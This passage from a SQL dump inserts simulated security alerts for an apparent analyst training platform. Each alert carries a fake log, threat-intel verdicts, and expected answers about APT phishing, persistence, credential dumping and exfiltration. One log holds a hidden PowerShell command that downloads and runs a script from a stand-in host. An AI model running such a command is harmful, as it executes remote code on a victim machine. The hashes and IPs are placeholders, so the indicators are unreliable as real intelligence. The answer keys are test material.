'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.163Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:45Z\\\",\\\"source_ip\\\":\\\"10.0.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"government_documents.zip\\\",\\\"action\\\":\\\"allowed\\\",\\\"bytes_sent\\\":10485760,\\\"indicator\\\":\\\"NetTraveler\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1507, 'Spear Phishing Attempt Detected', 'high', 'Email Gateway Logs', 'A spear phishing email was detected targeting key personnel at a defense supplier in Japan. The email contained a malicious attachment designed to gain initial access to the supply chain networks.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:30Z\",\"email_subject\":\"Urgent: Updated Project Plans\",\"sender_email\":\"john.doe@trusted-partner.com\",\"recipient_email\":\"satoshi.takahashi@defense-supplier.jp\",\"sender_ip\":\"198.51.100.25\",\"recipient_ip\":\"192.168.1.45\",\"attachment_name\":\"Project_Plans_2023.exe\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_url\":\"http://malicious-link.com/download\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"detection_method\":\"Signature-Based Detection\",\"email_content\":\"Please review the attached project plans and let me know if you have any questions. Regards, John Doe\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@trusted-partner.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Associated with previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known phishing server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as malware by multiple engines.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-link.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Hosts malware files.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Attempt Detected\",\"date\":\"2026-03-15T20:58:15.167Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1508, 'Malicious Payload Execution', 'high', 'Endpoint Detection and Response (EDR) Logs', 'A backdoor was executed on the host system, allowing remote command execution by IceFog. The backdoor was part of a malicious payload opened by the user.', 'Malware', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:45:30Z\",\"event_id\":\"EDR12345\",\"hostname\":\"DESKTOP-ABC123\",\"username\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious-domain.com/payload.ps1\')\",\"file_hash\":\"2fd4e1c67a2d28fced849ee1bb76e7391b93eb12\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"filename\":\"payload.ps1\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with IceFog.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"2fd4e1c67a2d28fced849ee1bb76e7391b93eb12\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known IceFog payload.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"payload.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to execute the IceFog backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1509, 'Establishing Persistence via Registry Key Modification', 'medium', 'System Configuration Audits', 'During a routine system configuration audit, it was detected that IceFog is attempting to establish persistence by embedding scripts in startup folders and modifying registry keys. This ensures access even if the system is rebooted.', 'TTPs', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_type\":\"registry_modification\",\"username\":\"compromised_user\",\"host_ip\":\"192.168.1.23\",\"external_ip\":\"203.0.113.45\",\"modified_key\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousScript\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\evil_script.vbs\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"action\":\"added\",\"indicator\":\"persistence_attempt\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with IceFog activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\evil_script.vbs\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to maintain persistence on the host.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with IceFog malware samples.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.174Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_type\\\":\\\"registry_modification\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"host_ip\\\":\\\"192.168.1.23\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"modified_key\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousScript\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\evil_script.vbs\\\",\\\"file_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"action\\\":\\\"added\\\",\\\"indicator\\\":\\\"persistence_attempt\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1510, 'Credential Dumping Activity Detected', 'high', 'Active Directory Logs', 'Anomalous credential harvesting activities detected from an internal host indicating potential lateral movement by the IceFog APT group. The attacker is utilizing compromised credentials to access additional systems within the network.', 'Credential Access', 'T1003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:21Z\",\"event_id\":\"4625\",\"logon_type\":\"3\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"10.0.0.5\",\"username\":\"john.doe\",\"domain\":\"corp.local\",\"process_name\":\"lsass.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"attacker_ip\":\"203.0.113.45\",\"activity\":\"Suspicious credential access attempt\",\"status\":\"Failed logon\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal monitoring\",\"verdict\":\"internal\",\"details\":\"Internal host initiating suspicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with credential dumping tools.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal directory\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(1511, 'Data Exfiltration Alert', 'high', 'Network Traffic Analysis', 'In the final stage, IceFog initiates data exfiltration, targeting sensitive defense documents and transferring them to external servers under their control.', 'Data Theft', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:54Z\",\"src_ip\":\"10.0.1.25\",\"dst_ip\":\"203.0.113.45\",\"src_port\":443,\"dst_port\":8080,\"protocol\":\"HTTPS\",\"user\":\"jdoe\",\"file_name\":\"confidential_defense_docs.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"exfiltration_attempt\",\"status\":\"success\"}', '2026-03-15 19:09:15', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used to initiate connection.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known external server associated with IceFog APT.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_defense_docs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive defense-related documents.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known exfiltration malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised to perform data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1512, 'Suspicious Network Activity Detected', 'high', 'Network Intrusion Detection System (NIDS)', 'Anomalous traffic from an external IP address has been detected entering the Hacking Team network, indicating a potential unauthorized access attempt. The traffic pattern suggests initial access efforts to compromise the network perimeter.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T02:35:27Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"protocol\":\"TCP\",\"destination_port\":3389,\"alert_signature\":\"Suspicious RDP Traffic\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"payload.exe\"}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Known to be associated with APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"Internal server used for RDP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used in recent attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis Service\",\"verdict\":\"malicious\",\"details\":\"Executable file used to deploy malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1513, 'Execution of Malicious Payload', 'high', 'Endpoint Detection and Response (EDR)', 'Following initial access, the attacker executes a malicious payload designed to exploit zero-day vulnerabilities within the network. The payload is identified to be associated with known APT tactics.', 'Execution', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:00Z\",\"event_id\":\"EDR-2023-0912\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.2.3\",\"user\":\"jdoe\",\"filename\":\"malicious_payload.exe\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"event_type\":\"execution\",\"process_command_line\":\"C:\\\\malicious_payload.exe --exploit\",\"severity\":\"high\",\"indicators\":{\"ip\":\"203.0.113.45\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"jdoe\"}}', '2026-03-15 19:09:29', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious payload used by APT.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Regular user account within the organization.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
